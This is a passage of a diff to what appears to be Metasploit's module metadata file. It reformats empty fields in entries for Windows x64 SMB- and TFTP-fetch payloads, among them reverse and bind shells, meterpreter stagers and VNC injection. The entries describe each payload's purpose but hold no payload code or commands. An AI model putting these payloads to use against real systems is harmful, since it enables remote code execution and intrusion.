+ "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -238293,8 +211924,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -238307,9 +211937,7 @@ "payload_cmd/windows/smb/x64/shell/bind_tcp": { "name": "SMB Fetch, Windows x64 Command Shell, Windows x64 Bind TCP Stager", "fullname": "payload/cmd/windows/smb/x64/shell/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -238318,9 +211946,7 @@ "sf " ], "description": "Fetch and execute an x64 payload from an SMB server.\nSpawn a piped command shell (Windows x64) (staged).\n\nListen for a connection (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -238334,8 +211960,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -238348,9 +211973,7 @@ "payload_cmd/windows/smb/x64/shell/bind_tcp_rc4": { "name": "SMB Fetch, Windows x64 Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/smb/x64/shell/bind_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -238364,9 +211987,7 @@ "RageLtMan" ], "description": "Fetch and execute an x64 payload from an SMB server.\nSpawn a piped command shell (Windows x64) (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -238380,8 +212001,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -238394,9 +212014,7 @@ "payload_cmd/windows/smb/x64/shell/bind_tcp_uuid": { "name": "SMB Fetch, Windows x64 Command Shell, Bind TCP Stager with UUID Support (Windows x64)", "fullname": "payload/cmd/windows/smb/x64/shell/bind_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -238406,9 +212024,7 @@ "OJ Reeves" ], "description": "Fetch and execute an x64 payload from an SMB server.\nSpawn a piped command shell (Windows x64) (staged).\n\nListen for a connection with UUID Support (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -238422,8 +212038,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -238436,9 +212051,7 @@ "payload_cmd/windows/smb/x64/shell/reverse_tcp": { "name": "SMB Fetch, Windows x64 Command Shell, Windows x64 Reverse TCP Stager", "fullname": "payload/cmd/windows/smb/x64/shell/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -238447,9 +212060,7 @@ "sf " ], "description": "Fetch and execute an x64 payload from an SMB server.\nSpawn a piped command shell (Windows x64) (staged).\n\nConnect back to the attacker (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -238463,8 +212074,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -238477,9 +212087,7 @@ "payload_cmd/windows/smb/x64/shell/reverse_tcp_rc4": { "name": "SMB Fetch, Windows x64 Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/smb/x64/shell/reverse_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -238493,9 +212101,7 @@ "RageLtMan" ], "description": "Fetch and execute an x64 payload from an SMB server.\nSpawn a piped command shell (Windows x64) (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -238509,8 +212115,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -238523,9 +212128,7 @@ "payload_cmd/windows/smb/x64/shell/reverse_tcp_uuid": { "name": "SMB Fetch, Windows x64 Command Shell, Reverse TCP Stager with UUID Support (Windows x64)", "fullname": "payload/cmd/windows/smb/x64/shell/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -238535,9 +212138,7 @@ "OJ Reeves" ], "description": "Fetch and execute an x64 payload from an SMB server.\nSpawn a piped command shell (Windows x64) (staged).\n\nConnect back to the attacker with UUID Support (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -238551,8 +212152,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -238565,9 +212165,7 @@ "payload_cmd/windows/smb/x64/shell_bind_tcp": { "name": "SMB Fetch, Windows x64 Command Shell, Bind TCP Inline", "fullname": "payload/cmd/windows/smb/x64/shell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -238576,9 +212174,7 @@ "sf " ], "description": "Fetch and execute an x64 payload from an SMB server.\nListen for a connection and spawn a command shell (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -238592,8 +212188,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -238604,9 +212199,7 @@ "payload_cmd/windows/smb/x64/shell_reverse_tcp": { "name": "SMB Fetch, Windows x64 Command Shell, Reverse TCP Inline", "fullname": "payload/cmd/windows/smb/x64/shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -238615,9 +212208,7 @@ "sf " ], "description": "Fetch and execute an x64 payload from an SMB server.\nConnect back to attacker and spawn a command shell (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -238631,8 +212222,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -238643,9 +212233,7 @@ "payload_cmd/windows/smb/x64/vncinject/bind_ipv6_tcp": { "name": "SMB Fetch, Windows x64 IPv6 Bind TCP Stager", "fullname": "payload/cmd/windows/smb/x64/vncinject/bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -238671,8 +212259,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -238685,9 +212272,7 @@ "payload_cmd/windows/smb/x64/vncinject/bind_ipv6_tcp_uuid": { "name": "SMB Fetch, Windows x64 IPv6 Bind TCP Stager with UUID Support", "fullname": "payload/cmd/windows/smb/x64/vncinject/bind_ipv6_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -238714,8 +212299,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -238728,9 +212312,7 @@ "payload_cmd/windows/smb/x64/vncinject/bind_named_pipe": { "name": "SMB Fetch, Windows x64 Bind Named Pipe Stager", "fullname": "payload/cmd/windows/smb/x64/vncinject/bind_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -238757,8 +212339,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -238771,9 +212352,7 @@ "payload_cmd/windows/smb/x64/vncinject/bind_tcp": { "name": "SMB Fetch, Windows x64 Bind TCP Stager", "fullname": "payload/cmd/windows/smb/x64/vncinject/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -238799,8 +212378,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -238813,9 +212391,7 @@ "payload_cmd/windows/smb/x64/vncinject/bind_tcp_rc4": { "name": "SMB Fetch, Bind TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/smb/x64/vncinject/bind_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -238846,8 +212422,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -238860,9 +212435,7 @@ "payload_cmd/windows/smb/x64/vncinject/bind_tcp_uuid": { "name": "SMB Fetch, Bind TCP Stager with UUID Support (Windows x64)", "fullname": "payload/cmd/windows/smb/x64/vncinject/bind_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -238889,8 +212462,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -238903,9 +212475,7 @@ "payload_cmd/windows/smb/x64/vncinject/reverse_http": { "name": "SMB Fetch, Windows x64 Reverse HTTP Stager (wininet)", "fullname": "payload/cmd/windows/smb/x64/vncinject/reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -238932,8 +212502,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -238946,9 +212515,7 @@ "payload_cmd/windows/smb/x64/vncinject/reverse_https": { "name": "SMB Fetch, Windows x64 Reverse HTTP Stager (wininet)", "fullname": "payload/cmd/windows/smb/x64/vncinject/reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -238977,8 +212544,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -238991,9 +212557,7 @@ "payload_cmd/windows/smb/x64/vncinject/reverse_tcp": { "name": "SMB Fetch, Windows x64 Reverse TCP Stager", "fullname": "payload/cmd/windows/smb/x64/vncinject/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -239019,8 +212583,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -239033,9 +212596,7 @@ "payload_cmd/windows/smb/x64/vncinject/reverse_tcp_rc4": { "name": "SMB Fetch, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/smb/x64/vncinject/reverse_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -239066,8 +212627,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -239080,9 +212640,7 @@ "payload_cmd/windows/smb/x64/vncinject/reverse_tcp_uuid": { "name": "SMB Fetch, Reverse TCP Stager with UUID Support (Windows x64)", "fullname": "payload/cmd/windows/smb/x64/vncinject/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -239109,8 +212667,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -239123,9 +212680,7 @@ "payload_cmd/windows/smb/x64/vncinject/reverse_winhttp": { "name": "SMB Fetch, Windows x64 Reverse HTTP Stager (winhttp)", "fullname": "payload/cmd/windows/smb/x64/vncinject/reverse_winhttp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -239152,8 +212707,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -239166,9 +212720,7 @@ "payload_cmd/windows/smb/x64/vncinject/reverse_winhttps": { "name": "SMB Fetch, Windows x64 Reverse HTTPS Stager (winhttp)", "fullname": "payload/cmd/windows/smb/x64/vncinject/reverse_winhttps", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -239195,8 +212747,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -239209,9 +212760,7 @@ "payload_cmd/windows/tftp/x64/custom/bind_ipv6_tcp": { "name": "TFTP Fetch, Windows shellcode stage, Windows x64 IPv6 Bind TCP Stager", "fullname": "payload/cmd/windows/tftp/x64/custom/bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -239221,9 +212770,7 @@ "sf " ], "description": "Fetch and execute an x64 payload from a TFTP server.\nCustom shellcode stage.\n\nListen for an IPv6 connection (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -239237,8 +212784,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -239251,9 +212797,7 @@ "payload_cmd/windows/tftp/x64/custom/bind_ipv6_tcp_uuid": { "name": "TFTP Fetch, Windows shellcode stage, Windows x64 IPv6 Bind TCP Stager with UUID Support", "fullname": "payload/cmd/windows/tftp/x64/custom/bind_ipv6_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -239264,9 +212808,7 @@ "OJ Reeves" ], "description": "Fetch and execute an x64 payload from a TFTP server.\nCustom shellcode stage.\n\nListen for an IPv6 connection with UUID Support (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -239280,8 +212822,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -239294,9 +212835,7 @@ "payload_cmd/windows/tftp/x64/custom/bind_named_pipe": { "name": "TFTP Fetch, Windows shellcode stage, Windows x64 Bind Named Pipe Stager", "fullname": "payload/cmd/windows/tftp/x64/custom/bind_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -239306,9 +212845,7 @@ "UserExistsError" ], "description": "Fetch and execute an x64 payload from a TFTP server.\nCustom shellcode stage.\n\nListen for a pipe connection (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -239322,8 +212859,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -239336,9 +212872,7 @@ "payload_cmd/windows/tftp/x64/custom/bind_tcp": { "name": "TFTP Fetch, Windows shellcode stage, Windows x64 Bind TCP Stager", "fullname": "payload/cmd/windows/tftp/x64/custom/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -239348,9 +212882,7 @@ "sf " ], "description": "Fetch and execute an x64 payload from a TFTP server.\nCustom shellcode stage.\n\nListen for a connection (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -239364,8 +212896,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -239378,9 +212909,7 @@ "payload_cmd/windows/tftp/x64/custom/bind_tcp_rc4": { "name": "TFTP Fetch, Windows shellcode stage, Bind TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/tftp/x64/custom/bind_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -239395,9 +212924,7 @@ "RageLtMan" ], "description": "Fetch and execute an x64 payload from a TFTP server.\nCustom shellcode stage.\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -239411,8 +212938,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -239425,9 +212951,7 @@ "payload_cmd/windows/tftp/x64/custom/bind_tcp_uuid": { "name": "TFTP Fetch, Windows shellcode stage, Bind TCP Stager with UUID Support (Windows x64)", "fullname": "payload/cmd/windows/tftp/x64/custom/bind_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -239438,9 +212962,7 @@ "OJ Reeves" ], "description": "Fetch and execute an x64 payload from a TFTP server.\nCustom shellcode stage.\n\nListen for a connection with UUID Support (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -239454,8 +212976,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -239468,9 +212989,7 @@ "payload_cmd/windows/tftp/x64/custom/reverse_http": { "name": "TFTP Fetch, Windows shellcode stage, Windows x64 Reverse HTTP Stager (wininet)", "fullname": "payload/cmd/windows/tftp/x64/custom/reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -239480,9 +212999,7 @@ "OJ Reeves" ], "description": "Fetch and execute an x64 payload from a TFTP server.\nCustom shellcode stage.\n\nTunnel communication over HTTP (Windows x64 wininet)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -239496,8 +213013,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -239510,9 +213026,7 @@ "payload_cmd/windows/tftp/x64/custom/reverse_https": { "name": "TFTP Fetch, Windows shellcode stage, Windows x64 Reverse HTTP Stager (wininet)", "fullname": "payload/cmd/windows/tftp/x64/custom/reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -239524,9 +213038,7 @@ "rwincey" ], "description": "Fetch and execute an x64 payload from a TFTP server.\nCustom shellcode stage.\n\nTunnel communication over HTTP (Windows x64 wininet)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -239540,8 +213052,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -239554,9 +213065,7 @@ "payload_cmd/windows/tftp/x64/custom/reverse_named_pipe": { "name": "TFTP Fetch, Windows shellcode stage, Windows x64 Reverse Named Pipe (SMB) Stager", "fullname": "payload/cmd/windows/tftp/x64/custom/reverse_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -239566,9 +213075,7 @@ "OJ Reeves" ], "description": "Fetch and execute an x64 payload from a TFTP server.\nCustom shellcode stage.\n\nConnect back to the attacker via a named pipe pivot", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -239582,8 +213089,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -239596,9 +213102,7 @@ "payload_cmd/windows/tftp/x64/custom/reverse_tcp": { "name": "TFTP Fetch, Windows shellcode stage, Windows x64 Reverse TCP Stager", "fullname": "payload/cmd/windows/tftp/x64/custom/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -239608,9 +213112,7 @@ "sf " ], "description": "Fetch and execute an x64 payload from a TFTP server.\nCustom shellcode stage.\n\nConnect back to the attacker (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -239624,8 +213126,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -239638,9 +213139,7 @@ "payload_cmd/windows/tftp/x64/custom/reverse_tcp_rc4": { "name": "TFTP Fetch, Windows shellcode stage, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/tftp/x64/custom/reverse_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -239655,9 +213154,7 @@ "RageLtMan" ], "description": "Fetch and execute an x64 payload from a TFTP server.\nCustom shellcode stage.\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -239671,8 +213168,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -239685,9 +213181,7 @@ "payload_cmd/windows/tftp/x64/custom/reverse_tcp_uuid": { "name": "TFTP Fetch, Windows shellcode stage, Reverse TCP Stager with UUID Support (Windows x64)", "fullname": "payload/cmd/windows/tftp/x64/custom/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -239698,9 +213192,7 @@ "OJ Reeves" ], "description": "Fetch and execute an x64 payload from a TFTP server.\nCustom shellcode stage.\n\nConnect back to the attacker with UUID Support (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -239714,8 +213206,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -239728,9 +213219,7 @@ "payload_cmd/windows/tftp/x64/custom/reverse_winhttp": { "name": "TFTP Fetch, Windows shellcode stage, Windows x64 Reverse HTTP Stager (winhttp)", "fullname": "payload/cmd/windows/tftp/x64/custom/reverse_winhttp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -239740,9 +213229,7 @@ "OJ Reeves" ], "description": "Fetch and execute an x64 payload from a TFTP server.\nCustom shellcode stage.\n\nTunnel communication over HTTP (Windows x64 winhttp)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -239756,8 +213243,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -239770,9 +213256,7 @@ "payload_cmd/windows/tftp/x64/custom/reverse_winhttps": { "name": "TFTP Fetch, Windows shellcode stage, Windows x64 Reverse HTTPS Stager (winhttp)", "fullname": "payload/cmd/windows/tftp/x64/custom/reverse_winhttps", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -239782,9 +213266,7 @@ "OJ Reeves" ], "description": "Fetch and execute an x64 payload from a TFTP server.\nCustom shellcode stage.\n\nTunnel communication over HTTPS (Windows x64 winhttp)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -239798,8 +213280,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -239812,9 +213293,7 @@ "payload_cmd/windows/tftp/x64/encrypted_shell/reverse_tcp": { "name": "TFTP Fetch, Windows Command Shell, Encrypted Reverse TCP Stager", "fullname": "payload/cmd/windows/tftp/x64/encrypted_shell/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -239824,9 +213303,7 @@ "Shelby Pace" ], "description": "Fetch and execute an x64 payload from a TFTP server.\nSpawn a piped command shell (staged).\n\nConnect to MSF and read in stage", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -239840,8 +213317,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -239854,9 +213330,7 @@ "payload_cmd/windows/tftp/x64/encrypted_shell_reverse_tcp": { "name": "TFTP Fetch, Windows Encrypted Reverse Shell", "fullname": "payload/cmd/windows/tftp/x64/encrypted_shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -239866,9 +213340,7 @@ "Shelby Pace" ], "description": "Fetch and execute an x64 payload from a TFTP server.\nConnect back to attacker and spawn an encrypted command shell", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -239882,8 +213354,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -239894,9 +213365,7 @@ "payload_cmd/windows/tftp/x64/exec": { "name": "TFTP Fetch, Windows x64 Execute Command", "fullname": "payload/cmd/windows/tftp/x64/exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -239905,9 +213374,7 @@ "sf " ], "description": "Fetch and execute an x64 payload from a TFTP server.\nExecute an arbitrary command (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -239921,8 +213388,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -239933,9 +213399,7 @@ "payload_cmd/windows/tftp/x64/loadlibrary": { "name": "TFTP Fetch, Windows x64 LoadLibrary Path", "fullname": "payload/cmd/windows/tftp/x64/loadlibrary", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -239945,9 +213409,7 @@ "sf " ], "description": "Fetch and execute an x64 payload from a TFTP server.\nLoad an arbitrary x64 library path", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -239961,8 +213423,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -239973,9 +213434,7 @@ "payload_cmd/windows/tftp/x64/messagebox": { "name": "TFTP Fetch, Windows MessageBox x64", "fullname": "payload/cmd/windows/tftp/x64/messagebox", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -239984,9 +213443,7 @@ "pasta " ], "description": "Fetch and execute an x64 payload from a TFTP server.\nSpawn a dialog via MessageBox using a customizable title, text & icon", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -240000,8 +213457,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -240012,9 +213468,7 @@ "payload_cmd/windows/tftp/x64/meterpreter/bind_ipv6_tcp": { "name": "TFTP Fetch, Windows x64 IPv6 Bind TCP Stager", "fullname": "payload/cmd/windows/tftp/x64/meterpreter/bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -240042,8 +213496,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -240056,9 +213509,7 @@ "payload_cmd/windows/tftp/x64/meterpreter/bind_ipv6_tcp_uuid": { "name": "TFTP Fetch, Windows x64 IPv6 Bind TCP Stager with UUID Support", "fullname": "payload/cmd/windows/tftp/x64/meterpreter/bind_ipv6_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -240086,8 +213537,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -240100,9 +213550,7 @@ "payload_cmd/windows/tftp/x64/meterpreter/bind_named_pipe": { "name": "TFTP Fetch, Windows x64 Bind Named Pipe Stager", "fullname": "payload/cmd/windows/tftp/x64/meterpreter/bind_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -240131,8 +213579,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -240145,9 +213592,7 @@ "payload_cmd/windows/tftp/x64/meterpreter/bind_tcp": { "name": "TFTP Fetch, Windows x64 Bind TCP Stager", "fullname": "payload/cmd/windows/tftp/x64/meterpreter/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -240175,8 +213620,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -240189,9 +213633,7 @@ "payload_cmd/windows/tftp/x64/meterpreter/bind_tcp_rc4": { "name": "TFTP Fetch, Bind TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/tftp/x64/meterpreter/bind_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -240223,8 +213665,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -240237,9 +213678,7 @@ "payload_cmd/windows/tftp/x64/meterpreter/bind_tcp_uuid": { "name": "TFTP Fetch, Bind TCP Stager with UUID Support (Windows x64)", "fullname": "payload/cmd/windows/tftp/x64/meterpreter/bind_tcp_uuid", - "aliases": 